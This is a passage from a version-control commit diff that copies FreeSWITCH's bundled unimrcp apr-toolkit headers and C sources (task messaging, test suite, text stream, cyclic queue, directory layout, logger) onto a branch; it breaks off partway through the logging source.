+APT_DECLARE(apt_bool_t) apt_task_wait_till_complete(apt_task_t *task);
+
+/**
+ * Get (acquire) task message.
+ * @param task the task to get task message from
+ */
+APT_DECLARE(apt_task_msg_t*) apt_task_msg_get(apt_task_t *task);
+
+/**
+ * Signal (post) message to the task.
+ * @param task the task to signal message to
+ * @param msg the message to signal
+ */
+APT_DECLARE(apt_bool_t) apt_task_msg_signal(apt_task_t *task, apt_task_msg_t *msg);
+
+/**
+ * Signal (post) message to the parent of the specified task.
+ * @param task the task to signal message to
+ * @param msg the message to signal
+ */
+APT_DECLARE(apt_bool_t) apt_task_msg_parent_signal(apt_task_t *task, apt_task_msg_t *msg);
+
+/**
+ * Process message signaled to the task.
+ * @param task the task to process message
+ * @param msg the message to process
+ */
+APT_DECLARE(apt_bool_t) apt_task_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+/**
+ * Get parent (master) task.
+ * @param task the task to get parent from
+ */
+APT_DECLARE(apt_task_t*) apt_task_parent_get(apt_task_t *task);
+
+/**
+ * Get memory pool associated with task.
+ * @param task the task to get pool from
+ */
+APT_DECLARE(apr_pool_t*) apt_task_pool_get(apt_task_t *task);
+
+/**
+ * Get external object associated with the task.
+ * @param task the task to get object from
+ */
+APT_DECLARE(void*) apt_task_object_get(apt_task_t *task);
+
+/**
+ * Get task vtable.
+ * @param task the task to get vtable from
+ */
+APT_DECLARE(apt_task_vtable_t*) apt_task_vtable_get(apt_task_t *task);
+
+/**
+ * Give a name to the task.
+ * @param task the task to give name for
+ * @param name the name to set
+ */
+APT_DECLARE(void) apt_task_name_set(apt_task_t *task, const char *name);
+
+/**
+ * Get task name.
+ * @param task the task to get name from
+ */
+APT_DECLARE(const char*) apt_task_name_get(apt_task_t *task);
+
+/**
+ * Hold task execution.
+ * @param msec the time to hold
+ */
+APT_DECLARE(void) apt_task_delay(apr_size_t msec);
+
+
+/** Table of task virtual methods */
+struct apt_task_vtable_t {
+	/** Virtual destroy method */
+	apt_task_method_f destroy;
+	/** Virtual start method*/
+	apt_task_method_f start;
+	/** Virtual terminate method */
+	apt_task_method_f terminate;
+	/** Virtual run method*/
+	apt_task_method_f run;
+
+	/** Virtual signal method  */
+	apt_bool_t (*signal_msg)(apt_task_t *task, apt_task_msg_t *msg);
+	/** Virtual process method */
+	apt_bool_t (*process_msg)(apt_task_t *task, apt_task_msg_t *msg);
+
+	/** Virtual pre-run event handler */
+	apt_task_event_f on_pre_run;
+	/** Virtual post-run event handler */
+	apt_task_event_f on_post_run;
+	/** Virtual start-complete event handler */
+	apt_task_event_f on_start_complete;
+	/** Virtual terminate-complete event handler */
+	apt_task_event_f on_terminate_complete;
+};
+
+static APR_INLINE void apt_task_vtable_reset(apt_task_vtable_t *vtable)
+{
+	vtable->destroy = NULL;
+	vtable->start = NULL;
+	vtable->terminate = NULL;
+	vtable->run = NULL;
+	vtable->signal_msg = NULL;
+	vtable->process_msg = NULL;
+	vtable->on_pre_run = NULL;
+	vtable->on_post_run = NULL;
+	vtable->on_start_complete = NULL;
+	vtable->on_terminate_complete = NULL;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__APT_TASK_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task_msg.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task_msg.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_task_msg.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task_msg.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task_msg.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_TASK_MSG_H__
+#define __APT_TASK_MSG_H__
+
+/**
+ * @file apt_task_msg.h
+ * @brief Task Message Base Definition
+ */ 
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Enumeration of task message types */
+typedef enum {
+	TASK_MSG_CORE,                   /**< core task message type */
+	TASK_MSG_USER                    /**< user defined task messages start from here */
+} apt_task_msg_type_e;
+
+/** Enumeration of core task messages */
+typedef enum {
+	CORE_TASK_MSG_NONE,              /**< indefinite message */
+	CORE_TASK_MSG_START_COMPLETE,    /**< start-complete message */
+	CORE_TASK_MSG_TERMINATE_REQUEST, /**< terminate-request message */
+	CORE_TASK_MSG_TERMINATE_COMPLETE /**< terminate-complete message */
+} apt_core_task_msg_type_e;
+
+/** Opaque task message declaration */
+typedef struct apt_task_msg_t apt_task_msg_t;
+/** Opaque task message pool declaration */
+typedef struct apt_task_msg_pool_t apt_task_msg_pool_t;
+
+/** Task message is used for inter task communication */
+struct apt_task_msg_t {
+	/** Message pool the task message is allocated from */
+	apt_task_msg_pool_t *msg_pool;
+	/** Task msg type */
+	apt_task_msg_type_e  type;
+	/** Task msg sub type */
+	int                  sub_type;
+	/** Context specific data */
+	char                 data[1];
+};
+
+
+/** Create pool of task messages with dynamic allocation of messages (no actual pool is created) */
+APT_DECLARE(apt_task_msg_pool_t*) apt_task_msg_pool_create_dynamic(apr_size_t msg_size, apr_pool_t *pool);
+
+/** Create pool of task messages with static allocation of messages */
+APT_DECLARE(apt_task_msg_pool_t*) apt_task_msg_pool_create_static(apr_size_t msg_size, apr_size_t msg_pool_size, apr_pool_t *pool);
+
+/** Destroy pool of task messages */
+APT_DECLARE(void) apt_task_msg_pool_destroy(apt_task_msg_pool_t *msg_pool);
+
+
+/** Acquire task message from task message pool */
+APT_DECLARE(apt_task_msg_t*) apt_task_msg_acquire(apt_task_msg_pool_t *task_msg_pool);
+
+/** Realese task message */
+APT_DECLARE(void) apt_task_msg_release(apt_task_msg_t *task_msg);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_TASK_MSG_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_test_suite.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_test_suite.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_test_suite.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_test_suite.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_test_suite.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,99 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_TEST_SUITE_H__
+#define __APT_TEST_SUITE_H__
+
+/**
+ * @file apt_test_suite.h
+ * @brief Test Suite and Framework Definitions
+ */ 
+
+#include "apt_string.h"
+
+APT_BEGIN_EXTERN_C
+
+
+/** Opaque test suite declaration */
+typedef struct apt_test_suite_t apt_test_suite_t;
+
+/** Prototype of test function */
+typedef apt_bool_t (*apt_test_f)(apt_test_suite_t *suite, int argc, const char * const *argv);
+
+/** Test suite as a base for all kind of tests */
+struct apt_test_suite_t {
+	/** Memory pool to allocate memory from */
+	apr_pool_t *pool;
+	/** Unique name of the test suite */
+	apt_str_t   name;
+	/** External object associated with the test suite */
+	void       *obj;
+	/** Test function to execute */
+	apt_test_f  tester;
+};
+
+/**
+ * Create test suite.
+ * @param pool the pool to allocate memory from
+ * @param name the unique name of the test suite
+ * @param obj the external object associated with the test suite
+ * @param tester the test function to execute
+ */
+APT_DECLARE(apt_test_suite_t*) apt_test_suite_create(apr_pool_t *pool, const char *name, 
+                                                     void *obj, apt_test_f tester);
+
+
+
+
+
+/** Opaque test framework declaration */
+typedef struct apt_test_framework_t apt_test_framework_t;
+
+/**
+ * Create test framework.
+ */
+APT_DECLARE(apt_test_framework_t*) apt_test_framework_create();
+
+/**
+ * Destroy test framework.
+ * @param framework the test framework to destroy
+ */
+APT_DECLARE(void) apt_test_framework_destroy(apt_test_framework_t *framework);
+
+/**
+ * Add test suite to framework.
+ * @param framework the test framework to add test suite to
+ * @param suite the test suite to add
+ */
+APT_DECLARE(apt_bool_t) apt_test_framework_suite_add(apt_test_framework_t *framework, apt_test_suite_t *suite);
+
+/**
+ * Run test suites.
+ * @param framework the test framework
+ * @param argc the number of arguments
+ * @param argv the array of arguments
+ */
+APT_DECLARE(apt_bool_t) apt_test_framework_run(apt_test_framework_t *framework, int argc, const char * const *argv);
+
+/**
+ * Retrieve the memory pool.
+ * @param framework the test framework to retrieve memory pool from
+ */
+APT_DECLARE(apr_pool_t*) apt_test_framework_pool_get(apt_test_framework_t *framework);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_TEST_SUITE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_text_stream.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_text_stream.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_text_stream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_text_stream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_text_stream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,190 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_TEXT_STREAM_H__
+#define __APT_TEXT_STREAM_H__
+
+/**
+ * @file apt_text_stream.h
+ * @brief Text Stream Parse/Generate Routine
+ */ 
+
+#include "apt_string.h"
+#include "apt_pair.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Named tokens */
+
+/** Space */
+#define APT_TOKEN_SP ' '
+/** Carrige return */
+#define APT_TOKEN_CR 0x0D
+/** Line feed */
+#define APT_TOKEN_LF 0x0A
+
+/** Text stream declaration */
+typedef struct apt_text_stream_t apt_text_stream_t;
+
+/** Text stream is used for message parsing and generation */
+struct apt_text_stream_t {
+	/** Text stream */
+	apt_str_t text;
+	/** Current position in the buffer */
+	char     *pos;
+};
+
+/**
+ * Navigate through the lines of the text stream (message).
+ * @param stream the text stream to navigate
+ * @param line the read line to return
+ * @return TRUE if the length of the line > 0, otherwise FALSE
+ */
+APT_DECLARE(apt_bool_t) apt_text_line_read(apt_text_stream_t *stream, apt_str_t *line);
+
+/**
+ * Navigate through the headers (name:value pairs) of the text stream (message).
+ * @param stream the text stream to navigate
+ * @param pair the read pair to return
+ * @return TRUE if the length of the read name > 0, otherwise FALSE
+ */
+APT_DECLARE(apt_bool_t) apt_text_header_read(apt_text_stream_t *stream, apt_pair_t *pair);
+
+/**
+ * Navigate through the fields of the line.
+ * @param stream the text stream to navigate
+ * @param separator the field separator
+ * @param skip_spaces whether to skip spaces or not
+ * @param field the read field to return
+ * @return TRUE if the length of the field > 0, otherwise FALSE
+ */
+APT_DECLARE(apt_bool_t) apt_text_field_read(apt_text_stream_t *stream, char separator, apt_bool_t skip_spaces, apt_str_t *field);
+
+
+
+/** Generate header */
+APT_DECLARE(apt_bool_t) apt_text_header_generate(const apt_pair_t *pair, apt_text_stream_t *text_stream);
+
+/** Generate only the name ("name:") of the header */
+APT_DECLARE(apt_bool_t) apt_text_header_name_generate(const apt_str_t *name, apt_text_stream_t *text_stream);
+
+/** Parse array of name-value pairs */
+APT_DECLARE(apt_bool_t) apt_pair_array_parse(apt_pair_arr_t *arr, const apt_str_t *value, apr_pool_t *pool);
+/** Generate array of name-value pairs */
+APT_DECLARE(apt_bool_t) apt_pair_array_generate(apt_pair_arr_t *arr, apt_text_stream_t *text_stream);
+
+
+/** Parse boolean-value */
+APT_DECLARE(apt_bool_t) apt_boolean_value_parse(const apt_str_t *str, apt_bool_t *value);
+
+/** Generate boolean-value */
+APT_DECLARE(apt_bool_t) apt_boolean_value_generate(apt_bool_t value, apt_text_stream_t *str);
+
+/** Parse size_t value */
+APT_DECLARE(apr_size_t) apt_size_value_parse(const apt_str_t *str);
+
+/** Generate apr_size_t value */
+APT_DECLARE(apt_bool_t) apt_size_value_generate(apr_size_t value, apt_text_stream_t *stream);
+
+/** Parse float value */
+APT_DECLARE(float) apt_float_value_parse(const apt_str_t *str);
+
+/** Generate float value */
+APT_DECLARE(apt_bool_t) apt_float_value_generate(float value, apt_text_stream_t *stream);
+
+/** Generate string value */
+static APR_INLINE apt_bool_t apt_string_value_generate(const apt_str_t *str, apt_text_stream_t *stream)
+{
+	if(str->length) {
+		memcpy(stream->pos,str->buf,str->length);
+		stream->pos += str->length;
+	}
+	return TRUE;
+}
+
+/** Initialize text stream */
+static APR_INLINE void apt_text_stream_init(apt_text_stream_t *stream, char *buffer, apr_size_t size)
+{
+	stream->text.buf = buffer;
+	stream->text.length = size;
+	stream->pos = stream->text.buf;
+}
+
+/** Insert end of the line symbol(s) */
+static APR_INLINE void apt_text_eol_insert(apt_text_stream_t *stream)
+{
+	*stream->pos++ = APT_TOKEN_CR;
+	*stream->pos++ = APT_TOKEN_LF;
+}
+
+/** Insert character */
+static APR_INLINE void apt_text_char_insert(apt_text_stream_t *stream, char ch)
+{
+	*stream->pos++ = ch;
+}
+
+/** Insert space */
+static APR_INLINE void apt_text_space_insert(apt_text_stream_t *stream)
+{
+	*stream->pos++ = APT_TOKEN_SP;
+}
+
+/** Skip spaces */
+static APR_INLINE void apt_text_spaces_skip(apt_text_stream_t *stream)
+{
+	const char *end = stream->text.buf + stream->text.length;
+	while(stream->pos < end && *stream->pos == APT_TOKEN_SP) stream->pos++;
+}
+
+/** Skip specified character */
+static APR_INLINE void apt_text_char_skip(apt_text_stream_t *stream, char ch)
+{
+	const char *end = stream->text.buf + stream->text.length;
+	if(stream->pos < end && *stream->pos == ch) stream->pos++;
+}
+
+/** Check whether end of stream is reached */
+static APR_INLINE apt_bool_t apt_text_is_eos(const apt_text_stream_t *stream)
+{
+	const char *end = stream->text.buf + stream->text.length;
+	return (stream->pos >= end) ? TRUE : FALSE;
+}
+
+/** Scroll text stream */
+APT_DECLARE(apt_bool_t) apt_text_stream_scroll(apt_text_stream_t *stream);
+
+/** Parse id at resource string */
+APT_DECLARE(apt_bool_t) apt_id_resource_parse(const apt_str_t *str, char separator, apt_str_t *id, apt_str_t *resource, apr_pool_t *pool);
+
+/** Generate id at resource string */
+APT_DECLARE(apt_bool_t) apt_id_resource_generate(const apt_str_t *id, const apt_str_t *resource, char separator, apt_str_t *str, apr_pool_t *pool);
+
+/** Generate value plus the length (number of digits) of the value itself */
+APT_DECLARE(apt_bool_t) apt_var_length_value_generate(apr_size_t *value, apr_size_t max_count, apt_str_t *str);
+
+
+/**
+ * Generate unique identifier (hex string)
+ * @param id the id to generate
+ * @param length the length of hex string to generate
+ * @param pool the pool to allocate memory from
+ */
+APT_DECLARE(apt_bool_t) apt_unique_id_generate(apt_str_t *id, apr_size_t length, apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_TEXT_STREAM_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_consumer_task.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_consumer_task.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_consumer_task.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_consumer_task.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_consumer_task.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,99 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_queue.h>
+#include "apt_consumer_task.h"
+
+struct apt_consumer_task_t {
+	void        *obj;
+	apt_task_t  *base;
+	apr_queue_t *msg_queue;
+};
+
+static apt_bool_t apt_consumer_task_msg_signal(apt_task_t *task, apt_task_msg_t *msg);
+static apt_bool_t apt_consumer_task_run(apt_task_t *task);
+
+APT_DECLARE(apt_consumer_task_t*) apt_consumer_task_create(
+									void *obj,
+									apt_task_msg_pool_t *msg_pool,
+									apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	apt_consumer_task_t *consumer_task = apr_palloc(pool,sizeof(apt_consumer_task_t));
+	consumer_task->obj = obj;
+	consumer_task->msg_queue = NULL;
+	if(apr_queue_create(&consumer_task->msg_queue,1024,pool) != APR_SUCCESS) {
+		return NULL;
+	}
+	
+	consumer_task->base = apt_task_create(consumer_task,msg_pool,pool);
+	if(!consumer_task->base) {
+		return NULL;
+	}
+
+	vtable = apt_task_vtable_get(consumer_task->base);
+	if(vtable) {
+		vtable->run = apt_consumer_task_run;
+		vtable->signal_msg = apt_consumer_task_msg_signal;
+	}
+	return consumer_task;
+}
+
+APT_DECLARE(apt_task_t*) apt_consumer_task_base_get(apt_consumer_task_t *task)
+{
+	return task->base;
+}
+
+APT_DECLARE(apt_task_vtable_t*) apt_consumer_task_vtable_get(apt_consumer_task_t *task)
+{
+	return apt_task_vtable_get(task->base);
+}
+
+APT_DECLARE(void*) apt_consumer_task_object_get(apt_consumer_task_t *task)
+{
+	return task->obj;
+}
+
+static apt_bool_t apt_consumer_task_msg_signal(apt_task_t *task, apt_task_msg_t *msg)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	return (apr_queue_push(consumer_task->msg_queue,msg) == APR_SUCCESS) ? TRUE : FALSE;
+}
+
+static apt_bool_t apt_consumer_task_run(apt_task_t *task)
+{
+	apr_status_t rv;
+	void *msg;
+	apt_bool_t running = TRUE;
+	apt_consumer_task_t *consumer_task;
+	consumer_task = apt_task_object_get(task);
+	if(!consumer_task) {
+		return FALSE;
+	}
+
+	while(running) {
+		rv = apr_queue_pop(consumer_task->msg_queue,&msg);
+		if(rv == APR_SUCCESS) {
+			if(msg) {
+				apt_task_msg_t *task_msg = msg;
+				if(apt_task_msg_process(consumer_task->base,task_msg) == FALSE) {
+					running = FALSE;
+				}
+			}
+		}
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_cyclic_queue.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_cyclic_queue.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_cyclic_queue.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_cyclic_queue.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_cyclic_queue.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "apt_cyclic_queue.h"
+
+struct apt_cyclic_queue_t {
+	void       **data;
+	apr_size_t   max_size;
+	apr_size_t   actual_size;
+	apr_size_t   head;
+	apr_size_t   tail;
+};
+
+static apt_bool_t apt_cyclic_queue_resize(apt_cyclic_queue_t *queue);
+
+
+APT_DECLARE(apt_cyclic_queue_t*) apt_cyclic_queue_create(apr_size_t size)
+{
+	apt_cyclic_queue_t *queue = malloc(sizeof(apt_cyclic_queue_t));
+	queue->max_size = size;
+	queue->actual_size = 0;
+	queue->data = malloc(sizeof(void*) * queue->max_size);
+	queue->head = queue->tail = 0;
+	return queue;
+}
+
+APT_DECLARE(void) apt_cyclic_queue_destroy(apt_cyclic_queue_t *queue)
+{
+	if(queue->data) {
+		free(queue->data);
+		queue->data = NULL;
+	}
+	free(queue);
+}
+
+APT_DECLARE(apt_bool_t) apt_cyclic_queue_push(apt_cyclic_queue_t *queue, void *obj)
+{
+	if(queue->actual_size >= queue->max_size) {
+		if(apt_cyclic_queue_resize(queue) != TRUE) {
+			return FALSE;
+		}
+	}
+	
+	queue->data[queue->head] = obj;
+	queue->head = (queue->head + 1) % queue->max_size;
+	queue->actual_size++;
+	return TRUE;
+}
+
+APT_DECLARE(void*) apt_cyclic_queue_pop(apt_cyclic_queue_t *queue)
+{
+	void *obj = NULL;
+	if(queue->actual_size) {
+		obj = queue->data[queue->tail];
+		queue->tail = (queue->tail + 1) % queue->max_size;
+		queue->actual_size--;
+	}
+	return obj;
+}
+
+APT_DECLARE(void) apt_cyclic_queue_clear(apt_cyclic_queue_t *queue)
+{
+	queue->actual_size = 0;
+	queue->head = queue->tail = 0;
+}
+
+APT_DECLARE(apt_bool_t) apt_cyclic_queue_is_empty(apt_cyclic_queue_t *queue)
+{
+	return queue->actual_size ? TRUE : FALSE;
+}
+
+static apt_bool_t apt_cyclic_queue_resize(apt_cyclic_queue_t *queue)
+{
+	apr_size_t new_size = queue->max_size + queue->max_size/2;
+	void **new_data = malloc(sizeof(void*) * new_size);
+	apr_size_t offset;
+
+	offset = queue->max_size - queue->head;
+	memcpy(new_data, queue->data + queue->head, sizeof(void*) * offset);
+	if(queue->head) {
+		memcpy(new_data + offset, queue->data, sizeof(void*) * queue->head);
+	}
+
+	queue->tail = 0;
+	queue->head = queue->max_size;
+	queue->max_size = new_size;
+	free(queue->data);
+	queue->data = new_data;
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_dir_layout.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_dir_layout.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_dir_layout.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_dir_layout.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_dir_layout.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_file_info.h>
+#include "apt_dir_layout.h"
+
+static apt_dir_layout_t* apt_dir_layout_alloc(apr_pool_t *pool)
+{
+	apt_dir_layout_t *dir_layout = (apt_dir_layout_t*) apr_palloc(pool,sizeof(apt_dir_layout_t));
+	dir_layout->conf_dir_path = NULL;
+	dir_layout->plugin_dir_path = NULL;
+	dir_layout->log_dir_path = NULL;
+	dir_layout->data_dir_path = NULL;
+	return dir_layout;
+}
+
+APT_DECLARE(apt_dir_layout_t*) apt_default_dir_layout_create(const char *root_dir_path, apr_pool_t *pool)
+{
+	apt_dir_layout_t *dir_layout = apt_dir_layout_alloc(pool);
+	if(root_dir_path) {
+		apr_filepath_merge(&dir_layout->conf_dir_path,root_dir_path,"conf",0,pool);
+		apr_filepath_merge(&dir_layout->plugin_dir_path,root_dir_path,"plugin",0,pool);
+		apr_filepath_merge(&dir_layout->log_dir_path,root_dir_path,"log",0,pool);
+		apr_filepath_merge(&dir_layout->data_dir_path,root_dir_path,"data",0,pool);
+	}
+	return dir_layout;
+}
+
+APT_DECLARE(apt_dir_layout_t*) apt_custom_dir_layout_create(
+									const char *conf_dir_path,
+									const char *plugin_dir_path,
+									const char *log_dir_path,
+									const char *data_dir_path,
+									apr_pool_t *pool)
+{
+	apt_dir_layout_t *dir_layout = apt_dir_layout_alloc(pool);
+	if(conf_dir_path) {
+		dir_layout->conf_dir_path = apr_pstrdup(pool,conf_dir_path);
+	}
+	if(plugin_dir_path) {
+		dir_layout->plugin_dir_path = apr_pstrdup(pool,plugin_dir_path);
+	}
+	if(log_dir_path) {
+		dir_layout->log_dir_path = apr_pstrdup(pool,log_dir_path);
+	}
+	if(data_dir_path) {
+		dir_layout->data_dir_path = apr_pstrdup(pool,data_dir_path);
+	}
+	return dir_layout;
+}
+
+APT_DECLARE(char*) apt_datadir_filepath_get(const apt_dir_layout_t *dir_layout, const char *file_name, apr_pool_t *pool)
+{
+	if(dir_layout && dir_layout->data_dir_path && file_name) {
+		char *file_path = NULL;
+		if(apr_filepath_merge(&file_path,dir_layout->data_dir_path,file_name,0,pool) == APR_SUCCESS) {
+			return file_path;
+		}
+	}
+	return NULL;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_log.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_log.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_log.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_log.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_log.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,304 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_time.h>
+#include <apr_file_io.h>
+#include "apt_log.h"
+
+#define MAX_LOG_ENTRY_SIZE 4096
+#define MAX_PRIORITY_NAME_LENGTH 9
+
+static const char priority_snames[APT_PRIO_COUNT][MAX_PRIORITY_NAME_LENGTH+1] =
+{
+	"[EMERG]  ",
+	"[ALERT]  ",
+	"[CRITIC] ",
+	"[ERROR]  ",
+	"[WARN]   ",
+	"[NOTICE] ",
+	"[INFO]   ",
+	"[DEBUG]  "
+};
+
+typedef struct apt_log_file_data_t apt_log_file_data_t;
+
+struct apt_log_file_data_t {
+	const char           *log_dir_path;
+	const char           *log_file_name;
+	FILE                 *file;
+	apr_size_t            cur_size;
+	apr_size_t            max_size;
+	apr_size_t            cur_file_index;
+	apr_size_t            max_file_count;
+	apr_thread_mutex_t   *mutex;
+	apr_pool_t           *pool;
+};
+
+struct apt_logger_t {
+	apt_log_output_e      mode;
+	apt_log_priority_e    priority;
+	int                   header;
+	apt_log_ext_handler_f ext_handler;
+	apt_log_file_data_t  *file_data;
+};
+
+static apt_logger_t *apt_logger = NULL;
+
+static apt_bool_t apt_do_log(const char *file, int line, apt_log_priority_e priority, const char *format, va_list arg_ptr);
+
+static const char* apt_log_file_path_make(apt_log_file_data_t *file_data);
+static apt_bool_t apt_log_file_dump(apt_log_file_data_t *file_data, const char *log_entry, apr_size_t size);
+
+
+APT_DECLARE(apt_bool_t) apt_log_instance_create(apt_log_output_e mode, apt_log_priority_e priority, apr_pool_t *pool)
+{
+	if(apt_logger) {
+		return FALSE;
+	}
+	apt_logger = apr_palloc(pool,sizeof(apt_logger_t));
+	apt_logger->mode = mode;
+	apt_logger->priority = priority;
+	apt_logger->header = APT_LOG_HEADER_DEFAULT;
+	apt_logger->ext_handler = NULL;
+	apt_logger->file_data = NULL;
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_log_instance_destroy()
+{
+	if(!apt_logger) {
+		return FALSE;
+	}
+
